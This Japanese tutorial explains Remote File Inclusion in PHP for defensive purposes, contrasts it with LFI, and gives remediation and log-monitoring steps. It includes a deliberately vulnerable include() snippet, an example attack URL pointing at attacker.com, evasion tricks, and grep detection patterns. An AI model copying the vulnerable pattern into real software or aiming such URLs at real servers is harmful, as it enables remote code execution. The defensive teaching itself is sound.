ファイルをインクルード(読み込み)する機能は、コードの再利用という意味でウェブアプリ開発では当たり前に使われます。でも、その「読み込み元をユーザーが指定できる」実装になっていたらどうなるか——攻撃者は自分のサーバーに置いた悪意あるファイルをターゲットサーバーに実行させることができます。
これがリモートファイルインクルード(RFI: Remote File Inclusion)の本質です。
この記事では、RFIの仕組みと攻撃手口を防御目的で解説し、PHPアプリを運用する情シス担当者・インフラエンジニアが今すぐ確認すべき対策をまとめます。ローカルファイルインクルード(LFI)との違いも整理するので、比較しながら理解を深めてください。
リモートファイルインクルード(RFI)とは?
RFI(Remote File Inclusion)は、ウェブアプリケーションの脆弱性の一種です。外部URLからファイルを読み込む処理に、ユーザーからの入力を検証せずに使ってしまうことで発生します。
攻撃者は細工したURLを送り込み、自分が用意したサーバー上の悪意あるスクリプトをターゲットのサーバーに「実行」させます。成功すれば、ターゲットサーバー上で任意のコードが動き、情報漏洩・バックドア設置・他のシステムへの踏み台に悪用されます。
RFIが問題になる代表的な言語はPHPです。PHPには include() / require() という関数があり、外部URLを渡せる設定(allow_url_include)が有効になっていると、悪用の入り口になります。
LFI(ローカルファイルインクルード)との違い
よく混同されるLFIと、RFIの違いを整理しておきます。
| 項目 | RFI(リモート) | LFI(ローカル) |
|---|---|---|
| 読み込む場所 | 外部サーバー(http://attacker.com/…) | 対象サーバー内のファイル(/etc/passwd 等) |
| 主な前提条件 | allow_url_include=On(PHP設定) | ファイルパスの操作が可能 |
| 直接的な被害 | リモートコード実行(RCE)に直結 | 機密ファイルの読み取りが中心 |
| 深刻度 | 極めて高い | 高い(条件次第でRCEも可能) |
RFIはLFIよりも即座にリモートコード実行(RCE)につながるため、深刻度は上です。ただし現代のPHPではデフォルト設定でRFIの前提条件となる allow_url_include が無効(Off)になっているため、適切に管理されているサーバーでは発生しにくくなっています。問題は、古い設定が引き継がれたまま運用されているサーバーです。
攻撃の仕組み:どうやって悪用されるか
ここからは防御のために攻撃者の視点を見ていきます。
1. 典型的な脆弱なコード
以下は教科書的な脆弱なPHPコードの例です(概念理解のための簡略化したコードです)。
# 脆弱なPHPコードの例(概念説明用) # GETパラメータ "page" をそのままインクルードしている <?php $page = $_GET['page']; include($page . '.php'); ?> # 正常な利用を想定したURL # https://example.com/index.php?page=home # 攻撃者が送り込むURL(RFIの例) # https://example.com/index.php?page=http://attacker.com/malicious
ユーザー入力($_GET['page'])をそのまま include() に渡しています。攻撃者は page パラメータに外部URLを指定するだけです。
2. 攻撃者が送り込む悪意あるファイル
攻撃者は自分のサーバーに用意したファイルを読み込ませます。内容は用途次第ですが、典型的なものとして以下があります。
・ウェブシェル: 攻撃者がブラウザからサーバーのコマンドを操作できるようにするスクリプト
・情報収集スクリプト: OSの情報・設定ファイル・環境変数を外部に送信するコード
・バックドア設置: 再侵入のための常駐プロセスや隠し管理画面を作成するコード
・マルウェアダウンローダー: さらに別のマルウェアを引き込むコード
重要なのは「読み込まれたファイルはターゲットサーバー上で実行される」という点です。LFIがあくまでファイルの内容を「見せる」ことを狙うのに対し、RFIは「コードを走らせる」ことが直接の目的です。
3. 攻撃パターンのバリエーション
RFIの試みは単純なURLの差し込みだけではありません。攻撃者がよく試みる変種として以下があります。
・ヌルバイトの利用: 古いPHP環境では %00(ヌルバイト)を付加して拡張子を無効化するトリックが使われた(現在のPHPでは無効化済み)
・URLエンコードの変形: フィルタリングを回避するため、URLエンコードや二重エンコードで偽装する
・FTPスキームの利用: http:// だけでなく ftp:// スキームで試みるケース
環境が違えば有効な手口も変わるため、「自分の環境で動かないから大丈夫」という判断は禁物です。
具体的な防御手順
RFIを防ぐための対策は複数あります。これらを組み合わせることで多層防御が実現できます。
1. PHPの allow_url_include を無効化する(最重要)
RFIの根本的な前提条件は allow_url_include = On です。まずここを確認してください。
# 現在の設定を確認(php.ini の場所はディストリビューションによる) php -i | grep allow_url_include # PHP 5.2以降のデフォルトはOffだが、既存の設定ファイルで上書きされている場合がある # php.ini での設定(Onになっていた場合は必ずOffに変更) allow_url_include = Off # .htaccess での設定上書き(Apache環境の場合) php_flag allow_url_include Off # 設定後、Webサーバーを再起動して反映 sudo systemctl restart apache2 # Apache sudo systemctl restart php8.3-fpm # PHP-FPM(バージョン番号は環境に合わせる) # 変更後に再確認 php -i | grep allow_url_include
allow_url_include = Off が確認できれば、リモートURLからのインクルードは不可能になります。これだけで大部分のRFIリスクは排除できます。
2. ユーザー入力を絶対にインクルードパスに使わない
コードレベルでの根本対策です。ファイルのインクルードにユーザーからの入力を使う設計そのものを避けてください。
# NG: ユーザー入力をそのままincludeに渡す $page = $_GET['page']; include($page . '.php'); // 危険 # OK: 許可リスト(allowlist)方式で制限する $allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages, true)) { include('/var/www/html/pages/' . $page . '.php'); } else { // デフォルトページを表示するか 404 を返す include('/var/www/html/pages/home.php'); }
許可リスト(allowlist)に登録されたファイル名のみを受け入れ、パスはサーバー側で固定します。これにより、ユーザーが何を入力しても意図しないファイルがインクルードされません。in_array() の第3引数 true は厳密比較のためのオプションで、型の緩い比較による意図しないマッチも防げます。
3. WAF(Webアプリケーションファイアウォール)でURLパターンをブロック
コードの修正が難しい既存システムでは、WAFによる防御が有効な選択肢になります。RFIの試みは http:// や https:// をパラメータに含む特徴的なパターンを持つため、WAFルールでブロックできます。
AWS WAFやCloudflare WAFでは、OWASP Core Rule Set(CRS)を適用するだけでRFI試行の多くを検知・遮断できます。ただしWAFはあくまで検知層の一つであり、コードの修正と組み合わせることが原則です。
4. 最新のPHPバージョンを維持する
RFIに関連する脆弱性や回避手法は、PHPのバージョンアップで次々と対処されてきました。サポート期限が切れたPHP 7.x系以前を使い続けているサーバーがあれば、早急にアップグレードを計画してください。
# 現在のPHPバージョンを確認 php --version # PHPサポートスケジュール(2026年6月現在) # PHP 8.1: EOL済み(セキュリティサポート終了) # PHP 8.2: 2026-12-31 まで # PHP 8.3: 2027-12-31 まで(推奨) # PHP 8.4: 2028-12-31 まで(最新安定版) # PHP 7.x 系は全バージョンEOL — 早急にアップグレードを
5. アクセスログでRFI試行を監視する
予防策と合わせて、RFIの試みを検知するログ監視も重要です。アクセスログにてGETパラメータに http:// や https:// を含むリクエストを定期的にチェックします。
# Apacheのアクセスログからhttp://を含むGETリクエストを抽出 grep -E 'GET.*https?%3A%2F%2F' /var/log/apache2/access.log # URLデコード前のhttpも検索 grep -E 'GET.*(http|ftp)://' /var/log/apache2/access.log # Nginxの場合 grep -E '(http|ftp)%3A%2F%2F' /var/log/nginx/access.log
このようなリクエストが大量に検出される場合、RFIを自動探索しているスキャナーが対象サーバーを調査している可能性があります。WAFルールの強化やIPブロックを検討してください。
中小企業でも今日からできること
本格的なコードレビューやWAF導入が難しい組織でも、以下の3点から始めてください。
・php.ini の allow_url_include 確認: サーバーにSSHでログインし php -i | grep allow_url を実行。Off になっているか必ず確認する
・PHPバージョンの棚卸し: 本番サーバーが複数ある場合、全サーバーのPHPバージョンを一覧化し、7.x以前があればアップグレードを計画する
・CMSとプラグインの更新: WordPressなど既製品CMSを使っている場合、プラグインの古いバージョンにRFI脆弱性が潜んでいることがある。コアとプラグインを常に最新版に保つ
コードの改修は開発チームとの調整が必要なことも多いですが、allow_url_include の確認はサーバーにアクセスできれば情シス担当者でも即日できます。まずここから手を付けてください。
よくある誤解と注意点
【誤解1】「PHPを使っていないから関係ない」
RFIはPHPが最もよく知られた環境ですが、動的なインクルード機能を持つ他の言語・フレームワーク(古いASP、Perlなど)でも同様の問題が起き得ます。言語で安心するのではなく「ユーザー入力をファイルパスに使っていないか」という設計の観点から確認することが大切です。
【誤解2】「PHPのデフォルト設定なら安全」
PHP 5.2以降のデフォルトでは allow_url_include=Off ですが、古いシステムからの設定引き継ぎや、一部のチュートリアルに従った設定変更で On になっているケースがあります。「デフォルトだから問題ない」という判断ではなく、実際に設定を確認することを習慣にしてください。
【注意】古い手法を軽視しない
RFIは2000年代から知られている攻撃手法ですが、2020年代になっても古いWordPressプラグインやレガシーPHPアプリを狙ったRFI試行が報告され続けています。「古い手法だから狙われない」という考えは危険です。攻撃者は依然として既知の脆弱性を自動スキャンで探し続けています。
本記事のまとめ
| 確認・対策項目 | 優先度 | 難易度 |
|---|---|---|
| allow_url_include = Off の確認 | 最優先 | 低(コマンド1行) |
| ユーザー入力の許可リスト化(コード修正) | 高 | 中(コードレビューが必要) |
| PHPを最新版にアップグレード | 高 | 中(テスト環境での動作確認が必要) |
| WAFによるRFIパターンのブロック | 中 | 低~中(WAFルールの適用) |
| アクセスログの定期確認 | 中 | 低 |
RFIはコードの設計ミスと環境設定の甘さが重なった場所にしか存在しません。allow_url_include を無効化し、ユーザー入力を許可リスト以外は受け付けない設計にするだけで、ほぼ確実に防ぐことができます。「やれば確実に防げる」脆弱性だからこそ、後回しにせず今日中に確認しておきましょう。
Linuxサーバー上でのPHPセキュリティ設定についてさらに詳しく学びたい方は、姉妹サイトLinuxMaster.JPのLinux設定ガイドも参考にしてください。
サーバーのRFI対策、ちゃんと確認できていますか?
allow_url_includeの設定一つで、サーバーを守れるかどうかが変わります。
正しいセキュリティ知識を体系的に身につけたい方へ、メルマガで実践的なセキュリティ対策ノウハウをお届けしています。
